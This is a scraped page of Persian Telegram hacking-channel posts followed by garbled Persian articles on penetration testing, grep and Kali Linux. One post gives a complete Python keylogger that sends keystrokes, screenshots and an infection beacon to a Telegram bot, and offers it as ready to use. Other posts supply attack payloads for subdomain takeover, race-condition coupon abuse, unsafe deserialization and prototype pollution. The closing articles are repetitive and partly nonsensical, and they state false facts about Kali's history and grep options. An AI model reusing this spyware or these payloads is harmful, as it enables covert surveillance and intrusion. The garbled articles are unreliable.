X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2161},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":6}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channel/3qHAvX/posts/715","url":"https://telemetr.io/ar/channel/3qHAvX/posts/715","mainEntityOfPage":"https://telemetr.io/ar/channel/3qHAvX/posts/715","headline":"Subdomain Takeover، وقتی زیردامنه رو میدزدی یه شرکت، دامنه اصلیشو داره: company.com زیردامنه هم داره: status…","articleBody":"Subdomain Takeover، وقتی زیردامنه رو میدزدی\n\nیه شرکت، دامنه اصلیشو داره: company.com\nزیردامنه هم داره: status.company.com\n\nاین زیردامنه رو تو DNS به یه سرویس خارجی وصل کرده.\nمثلاً به یه Heroku app یا GitHub Pages.\n\nبعد چند سال، اون سرویس رو کنسل میکنه.\nولی رکورد DNS هنوز باقیه.\n\nCNAME: status.company.com → old-app.herokuapp.com\n\nحالا مهاجم میاد:\nold-app.herokuapp.com رو خودش ثبت میکنه.\n\nنتیجه:\n\nstatus.company.com الان مال مهاجمه.\nمیتونه هر چی میخواد نشون بده.\n\nچرا خطرناکه؟\n\nکوکیهای company.com به همه زیردامنهها فرستاده میشن.\nمهاجم با یه صفحه قلابی، کوکیها رو میدزده.\n\nیا یه صفحه لاگین جعلی میذاره.\nکارمندا فکر میکنن سایت خودشونه.\n\nیا ایمیل میفرسته از اون دامنه.\nSPF و DKIM ممکنه پاس شه چون دامنه معتبره.\n\nپیدا کردنش:\n\nsubfinder -d company.com -silent | httpx -silent -status-code\n\nاگه یه زیردامنه 404 داد، یعنی احتمالاً سرویس وصل نیست.\nبعد با یه ابزار مثل nuclei چک کن:\n\nnuclei -t takeovers/ -u https://status.company.com\n\nپیلود ساده برای تست:\n\ncurl -I https://status.company.com\n\nاگه خروجی \"No such app\" یا \"Not found\" بود،\nیعنی سرویس خارجی هست ولی وصل نیست.\nپس قابل تسخیره.\n\nدفاع:\nزیردامنههای بیاستفاده رو حذف کن.\nDNS رو منظم چک کن.\nCNAME ها رو ببند.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-22T10:34:24Z","dateModified":"2026-09-22T10:34:24Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1223},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":5}]}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channel/3qHAvX/posts/714","url":"https://telemetr.io/ar/channel/3qHAvX/posts/714","mainEntityOfPage":"https://telemetr.io/ar/channel/3qHAvX/posts/714","headline":"import keyboard import pyautogui import socket import requests import time import os from threading import Th…","articleBody":"import keyboard\nimport pyautogui\nimport socket\nimport requests\nimport time\nimport os\nfrom threading import Thread\n\nLOG = \"\"\nSCREENSHOTS_DIR = \"screenshots\"\nWEBHOOK_URL = \"https://api.telegram.org/bot<токن_ربات>/sendMessage\" # تغییر بده\nCHAT_ID = \"<آیدی_چت>\" # تغییر بده\n\nif not os.path.exists(SCREENSHOTS_DIR):\n os.mkdir(SCREENSHOTS_DIR)\n\ndef send(data):\n try:\n requests.post(WEBHOOK_URL, data={\"chat_id\": CHAT_ID, \"text\": data})\n except:\n pass\n\ndef send_screenshot():\n while True:\n try:\n filename = f\"{SCREENSHOTS_DIR}/scr_{int(time.time())}.png\"\n pyautogui.screenshot(filename)\n with open(filename, \"rb\") as f:\n files = {'photo': f}\n requests.post(f\"https://api.telegram.org/bot<токن_رباط>/sendPhoto\", data={'chat_id': CHAT_ID}, files=files)\n os.remove(filename)\n except:\n pass\n time.sleep(30) # هر 30 ثانیه یک اسکرین샷\n\ndef on_key_event(e):\n global LOG\n key = e.name\n if len(key) == 1:\n LOG += key\n elif key == \"space\":\n LOG += \" \"\n elif key == \"enter\":\n LOG += \"\\n\"\n elif key == \"tab\":\n LOG += \"\\t\"\n else:\n LOG += f\"[{key}]\"\n\n if len(LOG) > 500: # هر 500 کاراکتر بفرست\n send(LOG)\n LOG = \"\"\n\nkeyboard.on_release(on_key_event)\n\n# شروع ارسال اسکرین\nThread(target=send_screenshot, daemon=True).start()\n\n# ارسال اطلاعات سیستم در ابتدا\nhostname = socket.gethostname()\nip = socket.gethostbyname(hostname)\nsend(f\"INFECTED: {hostname} | IP: {ip} | OS: {os.name}\")\n\n# حلقه اصلی\nwhile True:\n time.sleep(1)\n\n\nیک کیلاگر تمیز\nکتابخونه های مورد نیاز\npip install pynput pyautogui requests\nاین برای سیستم در آینده برای اندروید هم مینویسم","datePublished":"2026-09-22T10:11:21Z","dateModified":"2026-09-22T10:11:21Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":3,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":260},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":13},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":3}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channel/3qHAvX/posts/713","url":"https://telemetr.io/ar/channel/3qHAvX/posts/713","mainEntityOfPage":"https://telemetr.io/ar/channel/3qHAvX/posts/713","headline":"Subdomain Takeover، وقتی زیردامنه رو میدزدی یه شرکت، دامنه اصلیشو داره: company.com زیردامنه هم داره: status…","articleBody":"Subdomain Takeover، وقتی زیردامنه رو میدزدی\n\nیه شرکت، دامنه اصلیشو داره: company.com\nزیردامنه هم داره: status.company.com\n\nاین زیردامنه رو تو DNS به یه سرویس خارجی وصل کرده.\nمثلاً به یه Heroku app یا GitHub Pages.\n\nبعد چند سال، اون سرویس رو کنسل میکنه.\nولی رکورد DNS هنوز باقیه.\n\nCNAME: status.company.com → old-app.herokuapp.com\n\nحالا مهاجم میاد:\nold-app.herokuapp.com رو خودش ثبت میکنه.\n\nنتیجه:\n\nstatus.company.com الان مال مهاجمه.\nمیتونه هر چی میخواد نشون بده.\n\nچرا خطرناکه؟\n\nکوکیهای company.com به همه زیردامنهها فرستاده میشن.\nمهاجم با یه صفحه قلابی، کوکیها رو میدزده.\n\nیا یه صفحه لاگین جعلی میذاره.\nکارمندا فکر میکنن سایت خودشونه.\n\nیا ایمیل میفرسته از اون دامنه.\nSPF و DKIM ممکنه پاس شه چون دامنه معتبره.\n\nپیدا کردنش:\n\nsubfinder -d company.com -silent | httpx -silent -status-code\n\nاگه یه زیردامنه 404 داد، یعنی احتمالاً سرویس وصل نیست.\nبعد با یه ابزار مثل nuclei چک کن:\n\nnuclei -t takeovers/ -u https://status.company.com\n\nپیلود ساده برای تست:\n\ncurl -I https://status.company.com\n\nاگه خروجی \"No such app\" یا \"Not found\" بود،\nیعنی سرویس خارجی هست ولی وصل نیست.\nپس قابل تسخیره.\n\nدفاع:\nزیردامنههای بیاستفاده رو حذف کن.\nDNS رو منظم چک کن.\nCNAME ها رو ببند.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-22T10:04:02Z","dateModified":"2026-09-22T10:04:02Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1126},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channel/3qHAvX/posts/712","url":"https://telemetr.io/ar/channel/3qHAvX/posts/712","mainEntityOfPage":"https://telemetr.io/ar/channel/3qHAvX/posts/712","headline":"Race Condition، باگی که به چشم نمیاد فرض کن یه فروشگاه داره که هر کاربر فقط یه بار میتونه کد تخفیف بزنه. کد…","articleBody":"Race Condition، باگی که به چشم نمیاد\n\nفرض کن یه فروشگاه داره که هر کاربر فقط یه بار میتونه کد تخفیف بزنه.\nکد تو دیتابیس اینطوری چک میشه:\n\n1. آیا کاربر قبلاً استفاده کرده؟\n2. اگه نه، کد رو اعمال کن\n3. علامت بزن که کاربر استفاده کرده\n\nحالا اگه ۱۰۰ تا درخواست همزمان بفرستی چی میشه؟\n\nهمهشون مرحله ۱ رو چک میکنن.\nهمه میبینن \"استفاده نکرده\".\nهمه مرحله ۲ رو اجرا میکنن.\nهمه تخفیف میگیرن.\n\nاین باگ تو Türkcell ترکیه استفاده شد.\nمیلیونها دلار ضرر.\n\nمثال با پایتون:\n\nimport asyncio\nimport aiohttp\n\nasync def send():\n async with aiohttp.ClientSession() as session:\n await session.post(\n \"https://target.com/apply-coupon\",\n data={\"coupon\": \"OFF50\"}\n )\n\nasync def main():\n tasks = [send() for _ in range(50)]\n await asyncio.gather(*tasks)\n\nasyncio.run(main())\n\nچرا کار میکنه؟\n\nچون بین خوندن و نوشتن، یه تاخیر کوچیک هست.\nاگه بتونی ۵۰ تا درخواست رو تو اون تاخیر بفرستی،\nهمهشون روی هم میافتن.\n\nمثال دیگه:\n\nانتقال پول.\nموجودی: ۱۰۰۰ تومان.\nدو تا انتقال همزمان ۱۰۰۰ تومان.\nدیتابیس میگه: کافیه، کافیه.\nهر دو انجام میشن.\nحالا -۱۰۰۰ تومان داری.\n\nدفاع:\nاز Lock استفاده کن.\nTransaction با Isolation مناسب.\nاز Atomic Operations استفاده کن.\nRate Limit بذار.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-22T09:31:17Z","dateModified":"2026-09-22T09:31:17Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1114},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":6}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channel/3qHAvX/posts/711","url":"https://telemetr.io/ar/channel/3qHAvX/posts/711","mainEntityOfPage":"https://telemetr.io/ar/channel/3qHAvX/posts/711","headline":"Deserialization، خطرناکترین باگ دنیا وقتی یه آبجکت رو ذخیره یا ارسال میکنی، Serialize میشه. وقتی میخونی، D…","articleBody":"Deserialization، خطرناکترین باگ دنیا\n\nوقتی یه آبجکت رو ذخیره یا ارسال میکنی، Serialize میشه.\nوقتی میخونی، Deserialize میشه.\n\nاگه داده Serialize شده از کاربر بیاد و بدون چک Deserialize شه، فاجعه.\n\nJava:\n\nObjectInputStream.readObject()\n\nپیلود با ysoserial:\n\njava -jar ysoserial.jar CommonsCollections1 \"calc.exe\" > payload.bin\n\nحالا payload.bin رو بفرست به سرور.\nباز کردنش یعنی اجرای calc.exe.\n\n. NET:\n\nBinaryFormatter.Deserialize()\n\nپیلود با ysoserial.net:\n\nysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c \"calc.exe\"\n\nPython:\n\npickle.loads()\n\nimport pickle\nimport os\n\nclass Evil:\n def reduce(self):\n return (os.system, (\"id\",))\n\npayload = pickle.dumps(Evil())\n# این رو بفرست به سرور\n# وقتی unpickle بشه، id اجرا میشه\n\nPHP:\n\nunserialize()\n\nclass Evil {\n function __destruct() {\n system($this->cmd);\n }\n}\n\n$payload = serialize(new Evil());\n// وقتی unserialize بشه، __destruct اجرا میشه\n\nچرا این خطرناکترینه؟\n\nچون مستقیم RCE میشه.\nبدون نیاز به هیچ مرحله دیگه.\n\nدفاع:\nهرگز داده serialize شده از کاربر نگیر.\nاگه مجبوری، از format های امن مثل JSON استفاده کن.\nتو Java، ObjectInputFilter رو فعال کن.\nتو Python، از pickle استفاده نکن. از json برو.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-22T09:01:57Z","dateModified":"2026-09-22T09:01:57Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1900},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":3}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channel/3qHAvX/posts/710","url":"https://telemetr.io/ar/channel/3qHAvX/posts/710","mainEntityOfPage":"https://telemetr.io/ar/channel/3qHAvX/posts/710","headline":"Prototype Pollution، باگ عجیب جاوااسکریپت جاوااسکریپت یه چیز عجیب داره به اسم prototype. هر آبجکت، یه prototy…","articleBody":"Prototype Pollution، باگ عجیب جاوااسکریپت\n\nجاوااسکریپت یه چیز عجیب داره به اسم prototype.\nهر آبجکت، یه prototype داره که ازش ارث میبره.\n\nمثل:\n\nlet obj = {}\nobj.proto\n\nاگه بتونی prototype اصلی (Object.prototype) رو تغییر بدی،\nهمه آبجکتهای برنامه تغییر میکنن.\n\nمثال:\n\nlet user = {};\nuser.proto.isAdmin = true;\n\nحالا هر آبجکت خالی توی برنامه isAdmin داره:\n\nlet newUser = {};\nconsole.log(newUser.isAdmin); // true\n\nحالا تو یه کتابخونه معروف:\n\nJSON.parse('{\"proto\":{\"isAdmin\":true}}')\n\nاگه کتابخونه باگ داشته باشه، این merge میشه با Object.prototype.\nحالا همه کاربرا ادمینن.\n\nحمله واقعی:\n\nسال ۲۰۱۹ تو jQuery استفاده شد.\nحمله به $.extend(true, {}, input).\n\nسال ۲۰۲۰ تو Kibana.\nمهاجم تونست RCE کامل بگیره.\n\nسال ۲۰۲۱ تو Node.js توابع متعدد.\n\nپیلودهای رایج:\n\n{\"proto\":{\"polluted\":\"yes\"}}\n{\"constructor\":{\"prototype\":{\"polluted\":\"yes\"}}}\n{\"proto\":{\"toString\":\"evil\"}}\n\nچطور تست کنیم؟\n\nیه ورودی JSON بدیم که یه پراپرتی عجیب ست کنه.\nبعد چک کنیم اون پراپرتی تو همه آبجکتها هست یا نه.\n\nدفاع:\nاز Object.create(null) استفاده کن.\nObject.freeze(Object.prototype) بزن.\nJSON.parse رو با یه reviver امن پردازش کن.\nورودی رو با یه اسکیمای سخت اعتبارسنجی کن.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-22T08:33:36Z","dateModified":"2026-09-22T08:33:36Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1867},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":5}]}}]}


















4 366
**تست نفوذ و شبیهری در سیستمهای شبکه**
تست نفوذ یا Penetration Testing یک روش ایمنامهی در سایبر است که در هدف آن بررسی سیستمهای شبکه برای شناسایی نقاط ضعف یا تهیکیف است. این روش برای بهبود ایمنی شبکه، شناسایی نقاط ضعف، و جلوگیری از نفوذ استفاده میکند.
**مرحله اول: چرا باید استفاده از تست نفوذ کرد؟**
1. **شناسایی نقاط ضعف:** تست نفوذ یک روش ایمنی شبکه است که برای شناسایی نقاط ضعف یا تهیکیف در سیستمهای شبکه استفاده میشود. این روش به ما میزباند که چگونه میتوانیم از نفوذ در سیستم جلوگیری کرد و چگونه میتوانیم آن را به حداقل برسانیم.
2. **حفظ از نفوذ:** تست نفوذ یک روش ایمنی شبکه است که برای حفاظت از نفوذ در سیستمهای شبکه استفاده میشود. این روش به ما کمک میکند که سیستمهای شبکه را در برابر نفوذ، تهاجمها و حملاتها مصاحت و ایمنی نگه داریم.
3. **شناسایی نقاط ضعف:** تست نفوذ یک روش ایمنی شبکه است که برای شناسایی نقاط ضعف یا تهیکیف در سیستمهای شبکه استفاده میشود. این روش به ما میزباند که چگونه میتوانیم از نفوذ در سیستم جلوگیری کرد و چگونه میتوانیم آن را به حداقل برسانیم.
**مرحله دوم: چه چیزی باید بهروز شود؟**
1. **سیستمهای شبکه:** تست نفوذ یک روش ایمنی شبکه است که برای سیستمهای شبکه استفاده میشود. این روش به ما کمک میکند که چگونه میتوانیم از نفوذ در سیستمهای شبکه جلوگیری کرد و چگونه میتوانیم آن را به حداقل برسانیم.
2. **هیپوسازی بر:** تست نفوذ یک روش ایمنی شبکه است که برای هپوسازی بر استفاده میشود. این روش به ما کمک میکند که چگونه میتوانیم از نفوذ در هپوسازی بر جلوگیری کرد و چگونه میتوانیم آن را به حداقل برسانیم.
3. **نرمافزار:** تست نفوذ یک روش ایمنی شبکه است که برای نرمافزارها استفاده میشود. این روش به ما کمک میکند که چگونه میتوانیم از نفوذ در نرمافزارها جلوگیری کرد و چگونه میتوانیم آن را به حداقل برسانیم.
**مرحله سوم: چگونه باید تست نفوذ کرد؟**
1. **طراحی تست نفوذ:** تست نفوذ یک روش ایمنی شبکه است که برای طراحی تست نفوذ استفاده میشود. این روش به ما کمک میکند که چگونه میتوانیم از نفوذ در سیستمهای شبکه جلوگیری کرد و چگونه میتوانیم آن را به حداقل برسانیم.
2. **اجماعه تست نفوذ:** تست نفوذ یک روش ایمنی شبکه است که برای اجماعه تست نفوذ استفاده میشود. این روش به ما کمک میکند که چگونه میتوانیم از نفورد در سیستمهای شبکه جلوگیری کرد و چگونه میتوانیم آن را به حداقل برسانیم.
3. **تست نفوذ:** تست نفوذ یک روش ایمنی شبکه است که برای تست نفوذ استفاده میشود. این روش به ما کمک میکند که چگونه میتوانیم از نفورد در سیستمهای شبکه جلوگیری کرد و چگونه میتوانیم آن را به حداقل برسانیم.
**مرحله چهارم: چه کاری باید انجام داد؟**
1. **نفوذ را شناسایی:** تست نفوذ یک روش ایمنی شبکه است که برای شناسایی نفورد در سیستمهای شبکه استفاده میشود. این روش به ما کمک میکند که چگونه میتوانیم از نفورد در سیستمهای شبکه جلوگیری کرد و چگونه میتوانیم آن را به حداقل برسانیم.
2. **نفورد را جلوی بیابانم:** تست نفوذ یک روش ایمنی شبکه است که برای جلوگیری از نفورد در سیستمهای شبکه استفاده میشود. این روش به ما کمک میکند که چگونه میتوانیم از نفورد در سیستمهای شبکه جلوگیری کرد و چگونه میتوانیم آن را به حداقل برسیم.
3. **نفورد را به حداقل ببرم:** تست نفورد یک روش ایمنی شبکه است که برای جلوگیری از نفورد در سیستمهای شبکه استفاده میشود. این روش به ما کمک میکند که چگونه میتوانیم از نفورد در سیستمهای شبکه جلوگیری کرد و چگونه میتوانیم آن را به حداقل برسیم.
**تخمینحال:**
تست نفوذ یک روش ایمنی شبکه است که برای شناسایی نقاط ضعف یا تهیکیف در سیستمهای شبکه استفاده میشود. این روش به ما کمک میکند که چگونه میتوانیم از نفورد در سیستمهای شبکه جلوگیری کرد و چگونه میتوانیم آن را به حداقل برسیم.
**هشتگها:** #تستنفوذ #سیستمهای شبکه #نفورد #شبیهری #ایمنی شبکه #حریفخصوصی #دفاعسایبری
#Ai #KaliLinux #CyberSecurity
4 366
**تست نفوذ در امنیت سایبری**
تست نفوذ، که به طور گستردهای به عنوان Ethical Hacking نیز شناخته میشود، یک رویکرد است که به منظور شناسایی نقاط ضعف در سیستمهای کامپیوتری استفاده میشود. این رویکرد در تضمین امنیت سیستمهای کامپیوتری و جلوگیری از حملاتهای بالقوه و بالقبی مهم است. در این مقاله، ما به بررسی مفاد و اهمیت تست نفوذ میپردazzیم و به نمونههای عملی آن اشاره میکنیم.
**مفاد تست نفوذ**
تست نفوذ شامل چندین مرحله است:
1. **شناسایی نقاط ضعف**: شناسایی نقاط ضعف در سیستمهای کامپیوتری و شناسایی روشهای بالقوه برای نفوذ بر آنها
2. **تعیین استراتژی**:決定یابی استراتژی برای نفوذ بر سیستمهای کامپیوتری و شناسایی روشهای بهصحت و قانونی
3. **تولید**: اجرای روشهای نفوذ بر اساس استراتژی تعیینشده و شناسایی نقاط ضعف
4. **تعیین راه حل**: شناسایی راه حل برای رفع نقاط ضعف و بهبود امنیت سیستم
5. **بررسی نتایج**: شناسایی نتایج و نقاط ضعف در روشهای نفوذ و بهبود استراتژی
**تست نفوذ در Kali Linux**
Kali Linux، یک توزیه امنیتی است که توسط مخففها و متخصصان امنیت سایبری مورد استفاده قرار میگیرد. Kali شامل چندین ابزار است که به منظور تست نفوذ و شناسایی نقاط ضعف در سیستمهای کامپیوتری استفاده میشود. ابزارها و رویکردها در تست نفوذ شامل:
* **Nmap**: شناسایی نقاط ضعف در ترابهای شبکه و سرویسهای کامپیوتری
* **Metasploit**: شناسایی نقاط ضعف در سرویسهای کامپیوتری و شناسایی روشهای نفوذ
* **Burp Suite**: شناسایی نقاط ضعف در ترابهای شبکه و سرویسهای کامپیوتری
* **Wireshark**: شناسایی نقاط ضعف در ترابهای شبکه و سرویسهای کامپیوتری
**نمونههای عملی**
در زیر چندین نمونه عملی تست نفوذ در Kali Linux نشان داده شده است:
1. **تست نفوذ بر یک سرور WebServer**: شناسایی نقاط ضعف در ترابهای شبکه و سرویسهای وب در یک سرور WebServer
2. **تست نفوذ بر یک سیستم تحت شبکه**: شناسایی نقاط ضعف در ترابهای شبکه و سرویسهای کامپیوتری در یک سیستم تحت شبکه
3. **تست نفوذ بر یک سرویس Database**: شناسایی نقاط ضعف در ترابهای شبکه و سرویسهای Database در یک سرویس Database
**نکات**
تست نفوذ یک رویکرد است که باید با دقت و مراعات به قوانین و قوانین امنیتی رعایت شود. هر گونه سوء استفاده یا استفاده غیرقانونی از تست نفوذ، جرم محسوب میشود و قابل پیگرد قانونی است.
#Ai
4 366
**دستور:** `grep`
**عنوان:** جستجوی فایلها با دستور grep در Kali Linux
**متن:**
دستور `grep` یکی از ابزارهای جستجوی متن در سیستم عامل Kali Linux است. این دستور برای پیدا کردن عبارات، عبارات یا عبارات خاص در یک فایل یا چندتوی فایلها استفاده میشود.
### Syntax
`grep` Syntax:
grep [options] عبارت فایلها### Syntax Options - `-v`: جستجوی عبارات در فایلها برعکس (یعنی پیدا کردن عبارات را که شامل آن عبارت نباشند). - `-c`: جستجوی عبارت در تمام فایلها (به صورت یک لیست). - `-n`: نشانهی عددی برای تعداد خطوط که عبارت پیدا شده است. - `-h`: هشتگی. - `-q`: جستجوی غیر از عبارات در فایلها (پااده کردن عبارات). - `-r`: جستجوی فایلها در حالت رمز. - `-E`: استفاده از علامتی برای جدا کردن عبارات. - `-R`: استفاده از علامتی برای جدا کردن عبارات. - `-o`: جدا کردن عبارات با علامت `|` بجای علامت `^` که جداکنندهی عبارات است. - `--color=auto`: استفاده از رنگ برای نشان دادن نتایج. ### کاربرد با استفاده از `grep` میتوانید از طریق یک دستور ساده، یک عبارت را در یک فایل یا چندتا فایل پیدا کنید. برای مثال اگر میخواهید یک عبارت "hello world" را در یک فایل پیدا کنید میتوانید از دستور زیر استفاده کنید:
grep "hello world" filename.txt
### چند مثال
1. **جستجوی یک عبارت در یک فایل**:
echo "hello world" > test.txt
grep "hello world" test.txt
2. **جستجوی یک عبارت در چند فایل**:
echo "hello world" > file1.txt
echo "hello" > file2.txt
grep "hello" file1.txt file2.txt
### خطاهای رایج
1. **جستجوی یک عبارت در یک فایل که وجود ندارد**:
grep "non-existent" non-existent-file.txt
هیچ نتیجهای ندارد، اما میتوانید با استفاده از `-q` یا `-v` نتایج را پیدا کنید.
2. **جستجوی یک عبارت در چند فایل که وجود ندارد**:
grep "non-existent" file1.txt file2.txt
همچنین هیچ نتیجهای ندارد، اما میتوانید با استفاده از `-q` یا `-v` نتایج را پیدا کنید.
### نکات مهم
1. **دستور grep یک ابزار بسیار قوی است که میتواند برای جستجوی عبارات در فایلها و فایلهای متنی استفاده شود.**
2. **دستور grep میتواند با استفاده از Various Optionها برای پیدا کردن عبارات به اشکالها مختلفی کمک کند.**
3. **دستور grep میتواند برای پیدا کردن عبارات با استفاده از علامتی برای جدا کردن عبارات استفاده کند.**
در این مقاله، دستور grep به عنوان یک ابزار قوی برای پیدا کردن عبارات در فایلها مورد بررسی قرار گرفته است و چند مثال و نکته برای استفاده از این ابزار در Kali Linux به کاربر اشاره شده است.
**دستور grep یک ابزار بسیار قوی است که برای پیدا کردن عبارات در فایلها و فایلهای متنی استفاده میشود. استفاده از آن میتواند برای پیدا کردن عبارات سریعتر و آسانی باشد. با توجه به Syntax و Optionهای موجود، میتوانید با استفاده از آن برای پیدا کردن عبارات در فایلها و فایلهای متنی استفاده کنید.**
(متن این متن برای Kali Linux نوشته شده است و در مورد سایر distributions و سیستمهای عامل، ممکن است دستورهای مشابه یا مشابهی داشته باشد.)
#Ai4 366
**Kali Linux: ابزار قدرت برای تجسمان و تجربیه در امنیت سایبری**
**مقدم به یک جهانِ بدون خطر!**
در دنیای امروز، امنیت سایبری یک موضوع مهم بهسرپرورش است. Kali Linux یک سیستم عامل مبتنی بر Linux است که بهواسازایبری به شما کمک میکند تا از تجسمان، تجربیه، و تجسم در امنیت سایبری استفاده كنید. Kali Linux یک ابزار قدرتی است که برای تجربیه در امنیت سایبری و آموزش، تحقیقات، و تجسما سازی استفادهمیكنند.
**ابزورها Kali Linux**
1. **تجسما سازی**: Kali Linux برای تجسما سازی بهصورت پیشفرآورده است و دارای ابزارها و ابزارها برای تجسما سازی بهصورت پیشفرا است.
2. **تجربی**: Kali Linux یک سیستم عامل قابل دسترس است و برای تجربیه در محیطهای مختلفی از جمله محیطهای شبیهسازی، آزمایشگاهی، و قانونی قابل استفاده است.
3. **تجسم**: Kali Linux برای تجسم، تجسما سازی، و تجربی استفادهميکنند.
**تاریخچه Kali Linux**
Kali Linux اولین بار در سال 2006 توسط بهصورت خصوصی منتشر شد. این سیستم عامل مبتنی بر Linux بود که توسط Matias J. Cid، یک توسعهكنندة خصوصی، توسعهيافته است.
**ابزارها Kali Linux**
Kali Linux دارای ابزارهای متعددی است، شامل:
1. **Nmap**: برای کشف و کشف منابع شبکه،
2. **John the Ripper**: برای تجربیه رمزها،
3. **Ettercap**: برای تجربیه پروتاکلها.
4. **Wireshark**: برای تجربیه شبکهها،
5. **Burpsus**: برای تجربیه پروتاکلها.
6. **Sqlmap**: برای تجربیه اسنیکها
7. **Burpsus**: برای تجربیه پروتاکلها
8. **John the Ripper**: برای تجربیه رمزها
9. **Nmap**: برای کشف و کشف منابع شبکه
**تجربیه در امنیت سایبری**
Kali Linux برای تجربیه در امنیت سایبری استفادهميكنند. این ابزارها و ابزارها را میتوان برای تجربیه در امنیت سایبری استفادهكنند:
1. **تجربیه در تجسما سازی**: Kali Linux برای تجربیه در تجسما سازی استفادهميكنند.
2. **تجربیه در تجربی**: Kali Linux برای تجربیه در تجربی استفادهميكنند.
3. **تجربیه در تجسم**: Kali Linux برای تجربیه در تجسم استفادهميكنند.
**تجربیه در تجسما سازی**
Kali Linux برای تجربیه در تجسما سازی استفادهمیكنند. این ابزارها و ابزارها را میتوان برای تجربیه در تجسما سازی استفادهكنند:
1. **Nmap**: برای تجربیه در کشف و کشف منابع شبکه.
2. **John the Ripper**: برای تجربیه رمزها.
3. **Ettercap**: برای تجربیه پروتاکلها.
4. **Wireshark**: برای تجربیه شبکهها.
5. **Burpsus**: برای تجربیه پروتاکلها.
6. **Sqlmap**: برای تجربیه اسنیکها.
7. **Burpsus**: برای تجربیه پروتاکلها.
8. **John the Ripper**: برای تجربیه رمزها.
9. **Nmap**: برای کشف و کشف منابع شبکه.
**تجربیه در تجربی**
